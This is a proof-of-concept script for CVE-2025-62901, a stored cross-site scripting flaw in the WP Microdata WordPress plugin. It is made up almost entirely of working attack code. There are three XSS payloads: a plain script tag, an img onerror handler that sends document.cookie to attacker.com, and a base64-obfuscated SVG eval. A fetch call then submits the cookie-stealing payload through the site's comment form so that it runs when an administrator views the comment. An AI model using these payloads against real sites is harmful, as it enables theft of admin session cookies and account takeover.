CVE-2025-62901

// CVE-2025-62901 PoC - WP Microdata Stored XSS // This PoC demonstrates how to inject malicious JavaScript through plugin input fields // Payload 1: Basic script injection var payload1 = '<script>console.log(document.cookie)</script>'; // Payload 2: Event handler based XSS (more reliable) var payload2 = '<img src=x onerror="fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\\/">'; // Payload 3: SVG-based injection var payload3 = '<svg onload="eval(atob(\"YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\"))">'; // Example: Submitting the malicious payload via WordPress comment form fetch(window.location.origin + '/wp-comments-post.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'comment=' + encodeURIComponent(payload2) + '&author=test&submit=Submit' }); // When admin views the comment, the JavaScript executes and sends cookies to attacker

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